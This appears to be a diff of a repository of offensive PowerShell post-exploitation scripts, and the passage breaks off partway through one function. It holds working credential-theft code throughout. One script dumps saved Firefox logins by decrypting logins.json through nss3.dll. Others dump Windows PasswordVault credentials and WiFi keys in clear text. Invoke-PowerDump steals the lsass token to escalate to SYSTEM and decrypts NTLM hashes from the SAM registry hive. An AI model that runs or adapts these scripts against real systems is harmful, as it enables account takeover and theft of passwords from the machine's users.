$nssdllhandle = $Kernel32::LoadLibrary($nss3dll)
|
||||
$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||
Write-Verbose "Last Error loading nss3.dll: $LastError"
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if(($nssdllhandle -eq 0) -or ($nssdllhandle -eq [IntPtr]::Zero))
|
||||
{
|
||||
Write-Warning "Could not load nss3.dll"
|
||||
Write-Verbose "Last Error: $([System.Runtime.InteropServices.Marshal]::GetLastWin32Error())"
|
||||
break
|
||||
}
|
||||
|
||||
|
||||
Function Decrypt-CipherText
|
||||
{
|
||||
param
|
||||
(
|
||||
[parameter(Mandatory=$True)]
|
||||
[string]$cipherText
|
||||
)
|
||||
|
||||
#Cast the result from the Decode buffer function as a TSECItem struct and create an empty struct. Decrypt the cipher text and then
|
||||
#store it inside the empty struct.
|
||||
$Result = $NSSBase64_DecodeBuffer.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $cipherText, $cipherText.Length)
|
||||
Write-Verbose "[+]NSSBase64_DecodeBuffer Result: $Result"
|
||||
$ResultPtr = $Result -as [IntPtr]
|
||||
$offset = $ResultPtr.ToInt64()
|
||||
$newptr = New-Object System.IntPtr -ArgumentList $offset
|
||||
$TSECStructData = $newptr -as $TSECItem
|
||||
$ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf($TSECStructData))
|
||||
$EmptyTSECItem = $ptr -as $TSECItem
|
||||
$result = $PK11SDR_Decrypt.Invoke([ref]$TSECStructData, [ref]$EmptyTSECItem, 0)
|
||||
Write-Verbose "[+]PK11SDR_Decrypt result:$result"
|
||||
if($result -eq 0)
|
||||
{
|
||||
|
||||
if($EmptyTSECItem.SECItemLen -ne 0)
|
||||
{
|
||||
$size = $EmptyTSECItem.SECItemLen
|
||||
$dataPtr = $EmptyTSECItem.SECItemData -as [IntPtr]
|
||||
$retval = New-Object byte[] $size
|
||||
[System.Runtime.InteropServices.Marshal]::Copy($dataPtr, $retval, 0, $size)
|
||||
$clearText = [System.Text.Encoding]::UTF8.GetString($retval)
|
||||
return $clearText
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
$NSSInitAddr = $Kernel32::GetProcAddress($nssdllhandle, "NSS_Init")
|
||||
$NSSInitDelegates = Get-DelegateType @([string]) ([long])
|
||||
$NSS_Init = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NSSInitAddr, $NSSInitDelegates)
|
||||
|
||||
$NSSBase64_DecodeBufferAddr = $Kernel32::GetProcAddress($nssdllhandle, "NSSBase64_DecodeBuffer")
|
||||
$NSSBase64_DecodeBufferDelegates = Get-DelegateType @([IntPtr], [IntPtr], [string], [int]) ([int])
|
||||
$NSSBase64_DecodeBuffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NSSBase64_DecodeBufferAddr, $NSSBase64_DecodeBufferDelegates)
|
||||
|
||||
$PK11SDR_DecryptAddr = $Kernel32::GetProcAddress($nssdllhandle, "PK11SDR_Decrypt")
|
||||
$PK11SDR_DecryptDelegates = Get-DelegateType @([Type]$TSECItem.MakeByRefType(),[Type]$TSECItem.MakeByRefType(), [int]) ([int])
|
||||
$PK11SDR_Decrypt = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PK11SDR_DecryptAddr, $PK11SDR_DecryptDelegates)
|
||||
|
||||
$profilePath = "$($env:APPDATA)\Mozilla\Firefox\Profiles\*.default"
|
||||
|
||||
$defaultProfile = $(Get-ChildItem $profilePath).FullName
|
||||
$NSSInitResult = $NSS_Init.Invoke($defaultProfile)
|
||||
Write-Verbose "[+]NSS_Init result: $NSSInitResult"
|
||||
|
||||
|
||||
if(Test-Path $defaultProfile)
|
||||
{
|
||||
#Web.extensions assembly is necessary for handling json files
|
||||
try
|
||||
{
|
||||
Add-Type -AssemblyName System.web.extensions
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Warning "Unable to load System.web.extensions assembly"
|
||||
break
|
||||
}
|
||||
|
||||
|
||||
$jsonFile = Get-Content "$defaultProfile\logins.json"
|
||||
if(!($jsonFile))
|
||||
{
|
||||
Write-Warning "Login information cannot be found in logins.json"
|
||||
break
|
||||
}
|
||||
$ser = New-Object System.Web.Script.Serialization.JavaScriptSerializer
|
||||
$obj = $ser.DeserializeObject($jsonFile)
|
||||
|
||||
|
||||
$logins = $obj['logins']
|
||||
$count = ($logins.Count) - 1
|
||||
$passwordlist = @()
|
||||
#Iterate through each login entry and decrypt the username and password fields
|
||||
for($i = 0; $i -le $count; $i++)
|
||||
{
|
||||
Write-Verbose "[+]Decrypting login information..."
|
||||
$user = Decrypt-CipherText $($logins.GetValue($i)['encryptedUsername'])
|
||||
$pass = Decrypt-CipherText $($logins.GetValue($i)['encryptedPassword'])
|
||||
$formUrl = $($logins.GetValue($i)['formSubmitURL'])
|
||||
$FoxCreds = New-Object PSObject -Property @{
|
||||
UserName = $user
|
||||
Password = $pass
|
||||
URL = $formUrl
|
||||
}
|
||||
$passwordlist += $FoxCreds
|
||||
}
|
||||
#Spit out the results to a file.... or not.
|
||||
if($OutFile)
|
||||
{
|
||||
$passwordlist | Format-List URL, UserName, Password | Out-File -Encoding ascii $OutFile
|
||||
}
|
||||
else
|
||||
{
|
||||
$passwordlist | Format-List URL, UserName, Password | Out-String
|
||||
}
|
||||
if ($msvcr120dllHandle) {
|
||||
$Kernel32::FreeLibrary($msvcr120dllHandle) | Out-Null
|
||||
}
|
||||
if ($mozgluedllHandle) {
|
||||
$kernel32::FreeLibrary($mozgluedllHandle) | Out-Null
|
||||
}
|
||||
if ($nssdllhandle) {
|
||||
$kernel32::FreeLibrary($nssdllhandle) | Out-Null
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Warning "Unable to locate default profile"
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
#########################################
|
||||
|
||||
echo "##FireFox Credentials"
|
||||
echo "========================================================"
|
||||
echo ""
|
||||
|
||||
# Update output buffer size to 500
|
||||
if( $Host -and $Host.UI -and $Host.UI.RawUI ) {
|
||||
$rawUI = $Host.UI.RawUI
|
||||
$oldSize = $rawUI.BufferSize
|
||||
$typeName = $oldSize.GetType( ).FullName
|
||||
$newSize = New-Object $typeName (500, $oldSize.Height)
|
||||
$rawUI.BufferSize = $newSize
|
||||
}
|
||||
|
||||
Get-FoxDump
|
||||
echo "`n`n`n"
|
||||
|
||||
#########################################
|
||||
|
||||
|
|
@ -0,0 +1,31 @@
|
|||
#
|
||||
# Get-IECreds
|
||||
#
|
||||
|
||||
|
||||
|
||||
function Get-IECreds() {
|
||||
$ClassHolder = [Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
|
||||
$VaultObj = new-object Windows.Security.Credentials.PasswordVault
|
||||
$VaultObj.RetrieveAll() | foreach { $_.RetrievePassword(); $_ } |select Resource, UserName, Password | Sort-Object Resource | ft -Autosize
|
||||
}
|
||||
|
||||
#######################################
|
||||
|
||||
echo "##IE Creds"
|
||||
echo "================================================="
|
||||
echo ""
|
||||
|
||||
# Update output buffer size to 500
|
||||
if( $Host -and $Host.UI -and $Host.UI.RawUI ) {
|
||||
$rawUI = $Host.UI.RawUI
|
||||
$oldSize = $rawUI.BufferSize
|
||||
$typeName = $oldSize.GetType( ).FullName
|
||||
$newSize = New-Object $typeName (500, $oldSize.Height)
|
||||
$rawUI.BufferSize = $newSize
|
||||
}
|
||||
|
||||
Get-IECreds
|
||||
echo "`n`n`n"
|
||||
|
||||
#######################################
|
||||
Binary file not shown.
|
|
@ -0,0 +1,36 @@
|
|||
#
|
||||
# Get_WiFiCreds.ps1
|
||||
#
|
||||
function Get-WiFiCreds {
|
||||
|
||||
$WLAN = netsh wlan show profiles | Select-String ": (.*)" |% { $_.Matches.Groups[1].Value }
|
||||
|
||||
foreach ( $SSID in $WLAN ) {
|
||||
$Network = netsh wlan show profiles name=$SSID key=clear
|
||||
$AuthType = (($Network | Select-String "Authentifizierung") -split(": "))[1] # set according to you language
|
||||
$Password = (($Network | select-string "sselinhalt") -split(": "))[1] # in us its Authentication
|
||||
echo "SSID`t`t`t:`t $SSID"
|
||||
echo "AuthType`t`t:`t $AuthType"
|
||||
echo "Password`t`t:`t $Password"
|
||||
echo ""
|
||||
}
|
||||
}
|
||||
|
||||
####################################
|
||||
|
||||
echo "##Wifi Creds"
|
||||
echo "======================================================"
|
||||
echo ""
|
||||
|
||||
# Update output buffer size to 500
|
||||
if( $Host -and $Host.UI -and $Host.UI.RawUI ) {
|
||||
$rawUI = $Host.UI.RawUI
|
||||
$oldSize = $rawUI.BufferSize
|
||||
$typeName = $oldSize.GetType( ).FullName
|
||||
$newSize = New-Object $typeName (500, $oldSize.Height)
|
||||
$rawUI.BufferSize = $newSize
|
||||
}
|
||||
|
||||
Get-WiFiCreds
|
||||
echo "`n`n`n"
|
||||
###################################
|
||||
|
|
@ -0,0 +1,521 @@
|
|||
# Pulled from darkoperator's Posh-SecMod:
|
||||
# https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1
|
||||
function Invoke-PowerDump
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Dumps hashes from the local system. Note: administrative privileges required.
|
||||
.DESCRIPTION
|
||||
Generate a command for dumping hashes from a Windows System PowerShell.exe -command
|
||||
Command must be executed as SYSTEM if ran as administrator it will privilage escalate to SYSTEM
|
||||
and execute a hashdump by reading the hashes from the registry.
|
||||
.EXAMPLE
|
||||
$enc = Get-PostHashdumpScript
|
||||
C:\PS>powershell.exe -command $enc
|
||||
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d4afe1d16ae931b74c59d7e1c089c0:::
|
||||
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
|
||||
Carlos:1001:aad3b435b51404eeaad3b435b51404ee:62096e5ed83a10cf61cf79cc36738519:::
|
||||
HomeGroupUser$:1003:aad3b435b51404eeaad3b435b51404ee:951b271a4b7d1dd7a25e3d9c9f87341e:::
|
||||
Executes the compressed command generated by the function and dumps the windows hashes from the registry.
|
||||
|
||||
.NOTES
|
||||
PowerDump script by Kathy Peters, Josh Kelley (winfang) and Dave Kennedy (ReL1K)
|
||||
Privilage Escalation from http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/05/use-powershell-to-duplicate-process-tokens-via-p-invoke.aspx
|
||||
#>
|
||||
|
||||
|
||||
$sign = @"
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
public static class priv
|
||||
{
|
||||
[DllImport("shell32.dll")]
|
||||
public static extern bool IsUserAnAdmin();
|
||||
}
|
||||
"@
|
||||
$adminasembly = Add-Type -TypeDefinition $sign -Language CSharp -PassThru
|
||||
function ElevatePrivs
|
||||
{
|
||||
$signature = @"
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct TokPriv1Luid
|
||||
{
|
||||
public int Count;
|
||||
public long Luid;
|
||||
public int Attr;
|
||||
}
|
||||
|
||||
public const int SE_PRIVILEGE_ENABLED = 0x00000002;
|
||||
public const int TOKEN_QUERY = 0x00000008;
|
||||
public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
|
||||
public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;
|
||||
|
||||
public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;
|
||||
public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;
|
||||
public const UInt32 TOKEN_DUPLICATE = 0x0002;
|
||||
public const UInt32 TOKEN_IMPERSONATE = 0x0004;
|
||||
public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;
|
||||
public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;
|
||||
public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;
|
||||
public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;
|
||||
public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
|
||||
public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
|
||||
TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
|
||||
TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
|
||||
TOKEN_ADJUST_SESSIONID);
|
||||
|
||||
public const string SE_TIME_ZONE_NAMETEXT = "SeTimeZonePrivilege";
|
||||
public const int ANYSIZE_ARRAY = 1;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct LUID
|
||||
{
|
||||
public UInt32 LowPart;
|
||||
public UInt32 HighPart;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct LUID_AND_ATTRIBUTES {
|
||||
public LUID Luid;
|
||||
public UInt32 Attributes;
|
||||
}
|
||||
|
||||
|
||||
public struct TOKEN_PRIVILEGES {
|
||||
public UInt32 PrivilegeCount;
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)]
|
||||
public LUID_AND_ATTRIBUTES [] Privileges;
|
||||
}
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int
|
||||
SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle);
|
||||
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool SetThreadToken(
|
||||
IntPtr PHThread,
|
||||
IntPtr Token
|
||||
);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool OpenProcessToken(IntPtr ProcessHandle,
|
||||
UInt32 DesiredAccess, out IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
|
||||
|
||||
[DllImport("kernel32.dll", ExactSpelling = true)]
|
||||
public static extern IntPtr GetCurrentProcess();
|
||||
|
||||
[DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
|
||||
public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
|
||||
ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
|
||||
"@
|
||||
|
||||
$currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent())
|
||||
if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) {
|
||||
Write-Warning "Run the Command as an Administrator"
|
||||
Break
|
||||
}
|
||||
|
||||
Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv
|
||||
$adjPriv = [AdjPriv.AdjPriv]
|
||||
[long]$luid = 0
|
||||
|
||||
$tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid
|
||||
$tokPriv1Luid.Count = 1
|
||||
$tokPriv1Luid.Luid = $luid
|
||||
$tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED
|
||||
|
||||
$retVal = $adjPriv::LookupPrivilegeValue($null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid)
|
||||
|
||||
[IntPtr]$htoken = [IntPtr]::Zero
|
||||
$retVal = $adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(), [AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS, [ref]$htoken)
|
||||
|
||||
|
||||
$tokenPrivileges = New-Object AdjPriv.AdjPriv+TOKEN_PRIVILEGES
|
||||
$retVal = $adjPriv::AdjustTokenPrivileges($htoken, $false, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero)
|
||||
|
||||
if(-not($retVal)) {
|
||||
[System.Runtime.InteropServices.marshal]::GetLastWin32Error()
|
||||
Break
|
||||
}
|
||||
|
||||
$process = (Get-Process -Name lsass)
|
||||
#$process.name
|
||||
[IntPtr]$hlsasstoken = [IntPtr]::Zero
|
||||
$retVal = $adjPriv::OpenProcessToken($process.Handle, ([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -BOR [AdjPriv.AdjPriv]::TOKEN_DUPLICATE), [ref]$hlsasstoken)
|
||||
|
||||
[IntPtr]$dulicateTokenHandle = [IntPtr]::Zero
|
||||
$retVal = $adjPriv::DuplicateToken($hlsasstoken, 2, [ref]$dulicateTokenHandle)
|
||||
|
||||
$retval = $adjPriv::SetThreadToken([IntPtr]::Zero, $dulicateTokenHandle)
|
||||
|
||||
if(-not($retVal)) {
|
||||
[System.Runtime.InteropServices.marshal]::GetLastWin32Error()
|
||||
}
|
||||
}
|
||||
function LoadApi
|
||||
{
|
||||
$oldErrorAction = $global:ErrorActionPreference;
|
||||
$global:ErrorActionPreference = "SilentlyContinue";
|
||||
$test = [PowerDump.Native];
|
||||
$global:ErrorActionPreference = $oldErrorAction;
|
||||
if ($test)
|
||||
{
|
||||
# already loaded
|
||||
return;
|
||||
}
|
||||
$code = @"
|
||||
using System;
|
||||
using System.Security.Cryptography;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
namespace PowerDump
|
||||
{
|
||||
public class Native
|
||||
{
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
|
||||
public static extern int RegOpenKeyEx(
|
||||
int hKey,
|
||||
string subKey,
|
||||
int ulOptions,
|
||||
int samDesired,
|
||||
out int hkResult);
|
||||
[DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")]
|
||||
extern public static int RegEnumKeyEx(
|
||||
int hkey,
|
||||
int index,
|
||||
StringBuilder lpName,
|
||||
ref int lpcbName,
|
||||
int reserved,
|
||||
StringBuilder lpClass,
|
||||
ref int lpcbClass,
|
||||
out long lpftLastWriteTime);
|
||||
[DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)]
|
||||
extern public static int RegQueryInfoKey(
|
||||
int hkey,
|
||||
StringBuilder lpClass,
|
||||
ref int lpcbClass,
|
||||
int lpReserved,
|
||||
out int lpcSubKeys,
|
||||
out int lpcbMaxSubKeyLen,
|
||||
out int lpcbMaxClassLen,
|
||||
out int lpcValues,
|
||||
out int lpcbMaxValueNameLen,
|
||||
out int lpcbMaxValueLen,
|
||||
out int lpcbSecurityDescriptor,
|
||||
IntPtr lpftLastWriteTime);
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern int RegCloseKey(
|
||||
int hKey);
|
||||
}
|
||||
} // end namespace PowerDump
|
||||
public class Shift {
|
||||
public static int Right(int x, int count) { return x >> count; }
|
||||
public static uint Right(uint x, int count) { return x >> count; }
|
||||
public static long Right(long x, int count) { return x >> count; }
|
||||
public static ulong Right(ulong x, int count) { return x >> count; }
|
||||
public static int Left(int x, int count) { return x << count; }
|
||||
public static uint Left(uint x, int count) { return x << count; }
|
||||
public static long Left(long x, int count) { return x << count; }
|
||||
public static ulong Left(ulong x, int count) { return x << count; }
|
||||
}
|
||||
"@
|
||||
$provider = New-Object Microsoft.CSharp.CSharpCodeProvider
|
||||
$dllName = [PsObject].Assembly.Location
|
||||
$compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters
|
||||
$assemblies = @("System.dll", $dllName)
|
||||
$compilerParameters.ReferencedAssemblies.AddRange($assemblies)
|
||||
$compilerParameters.GenerateInMemory = $true
|
||||
$compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code)
|
||||
if($compilerResults.Errors.Count -gt 0) {
|
||||
$compilerResults.Errors | % { Write-Error ("{0}:`t{1}" -f $_.Line,$_.ErrorText) }
|
||||
}
|
||||
}
|
||||
$antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0");
|
||||
$almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0");
|
||||
$empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee);
|
||||
$empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0);
|
||||
$odd_parity = @(
|
||||
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
|
||||
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
|
||||
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
|
||||
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
|
||||
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
|
||||
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
|
||||
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
|
||||
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
|
||||
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
|
||||
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
|
||||
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
|
||||
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
|
||||
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
|
||||
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
|
||||
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
|
||||
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
|
||||
);
|
||||
function sid_to_key($sid)
|
||||
{
|
||||
$s1 = @();
|
||||
$s1 += [char]($sid -band 0xFF);
|
||||
$s1 += [char]([Shift]::Right($sid,8) -band 0xFF);
|
||||
$s1 += [char]([Shift]::Right($sid,16) -band 0xFF);
|
||||
$s1 += [char]([Shift]::Right($sid,24) -band 0xFF);
|
||||
$s1 += $s1[0];
|
||||
$s1 += $s1[1];
|
||||
$s1 += $s1[2];
|
||||
$s2 = @();
|
||||
$s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2];
|
||||
$s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2];
|
||||
return ,((str_to_key $s1),(str_to_key $s2));
|
||||
}
|
||||
function str_to_key($s)
|
||||
{
|
||||
$key = @();
|
||||
$key += [Shift]::Right([int]($s[0]), 1 );
|
||||
$key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2);
|
||||
$key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3);
|
||||
$key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4);
|
||||
$key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5);
|
||||
$key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6);
|
||||
$key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7);
|
||||
$key += $([int]($s[6]) -band 0x7F);
|
||||
0..7 | %{
|
||||
$key[$_] = [Shift]::Left($key[$_], 1);
|
||||
$key[$_] = $odd_parity[$key[$_]];
|
||||
}
|
||||
return ,$key;
|
||||
}
|
||||
function NewRC4([byte[]]$key)
|
||||
{
|
||||
return new-object Object |
|
||||
Add-Member NoteProperty key $key -PassThru |
|
||||
Add-Member NoteProperty S $null -PassThru |
|
||||
Add-Member ScriptMethod init {
|
||||
if (-not $this.S)
|
||||
{
|
||||
[byte[]]$this.S = 0..255;
|
||||
0..255 | % -begin{[long]$j=0;}{
|
||||
$j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length;
|
||||
$temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp;
|
||||
}
|
||||
}
|
||||
} -PassThru |
|
||||
Add-Member ScriptMethod "encrypt" {
|
||||
$data = $args[0];
|
||||
$this.init();
|
||||
$outbuf = new-object byte[] $($data.Length);
|
||||
$S2 = $this.S[0..$this.S.Length];
|
||||
0..$($data.Length-1) | % -begin{$i=0;$j=0;} {
|
||||
$i = ($i+1) % $S2.Length;
|
||||
$j = ($j + $S2[$i]) % $S2.Length;
|
||||
$temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp;
|
||||
$a = $data[$_];
|
||||
$b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ];
|
||||
$outbuf[$_] = ($a -bxor $b);
|
||||
}
|
||||
return ,$outbuf;
|
||||
} -PassThru
|
||||
}
|
||||
function des_encrypt([byte[]]$data, [byte[]]$key)
|
||||
{
|
||||
return ,(des_transform $data $key $true)
|
||||
}
|
||||
function des_decrypt([byte[]]$data, [byte[]]$key)
|
||||
{
|
||||
return ,(des_transform $data $key $false)
|
||||
}
|
||||
function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt)
|
||||
{
|
||||
$des = new-object Security.Cryptography.DESCryptoServiceProvider;
|
||||
$des.Mode = [Security.Cryptography.CipherMode]::ECB;
|
||||
$des.Padding = [Security.Cryptography.PaddingMode]::None;
|
||||
$des.Key = $key;
|
||||
$des.IV = $key;
|
||||
$transform = $null;
|
||||
if ($doEncrypt) {$transform = $des.CreateEncryptor();}
|
||||
else{$transform = $des.CreateDecryptor();}
|
||||
$result = $transform.TransformFinalBlock($data, 0, $data.Length);
|
||||
return ,$result;
|
||||
}
|
||||
function Get-RegKeyClass([string]$key, [string]$subkey)
|
||||
{
|
||||
switch ($Key) {
|
||||
"HKCR" { $nKey = 0x80000000} #HK Classes Root
|
||||
"HKCU" { $nKey = 0x80000001} #HK Current User
|
||||
"HKLM" { $nKey = 0x80000002} #HK Local Machine
|
||||
"HKU" { $nKey = 0x80000003} #HK Users
|
||||
"HKCC" { $nKey = 0x80000005} #HK Current Config
|
||||
default {
|
||||
throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC"
|
||||
}
|
||||
}
|
||||
$KEYQUERYVALUE = 0x1;
|
||||
$KEYREAD = 0x19;
|
||||
$KEYALLACCESS = 0x3F;
|
||||
$result = "";
|
||||
[int]$hkey=0
|
||||
if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey))
|
||||
{
|
||||
$classVal = New-Object Text.Stringbuilder 1024
|
||||
[int]$len = 1024
|
||||
if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null,
|
||||
[ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0))
|
||||
{
|
||||
$result = $classVal.ToString()
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Error "RegQueryInfoKey failed";
|
||||
}
|
||||
[PowerDump.Native]::RegCloseKey($hkey) | Out-Null
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Error "Cannot open key";
|
||||
}
|
||||
return $result;
|
||||
}
|
||||
function Get-BootKey
|
||||
{
|
||||
$s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"}));
|
||||
$b = new-object byte[] $($s.Length/2);
|
||||
0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)}
|
||||
$b2 = new-object byte[] 16;
|
||||
0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{$i=0;}{$b2[$i]=$b[$_];$i++}
|
||||
return ,$b2;
|
||||
}
|
||||
function Get-HBootKey
|
||||
{
|
||||
param([byte[]]$bootkey);
|
||||
$aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0");
|
||||
$anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0");
|
||||
$k = Get-Item HKLM:\SAM\SAM\Domains\Account;
|
||||
if (-not $k) {return $null}
|
||||
[byte[]]$F = $k.GetValue("F");
|
||||
if (-not $F) {return $null}
|
||||
$rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum);
|
||||
$rc4 = NewRC4 $rc4key;
|
||||
return ,($rc4.encrypt($F[0x80..0x9F]));
|
||||
}
|
||||
function Get-UserName([byte[]]$V)
|
||||
{
|
||||
if (-not $V) {return $null};
|
||||
$offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;
|
||||
$len = [BitConverter]::ToInt32($V[0x10..0x13],0);
|
||||
return [Text.Encoding]::Unicode.GetString($V, $offset, $len);
|
||||
}
|
||||
function Get-UserHashes($u, [byte[]]$hbootkey)
|
||||
{
|
||||
[byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null;
|
||||
if ($u.HashOffset + 0x28 -lt $u.V.Length)
|
||||
{
|
||||
$lm_hash_offset = $u.HashOffset + 4;
|
||||
$nt_hash_offset = $u.HashOffset + 8 + 0x10;
|
||||
$enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)];
|
||||
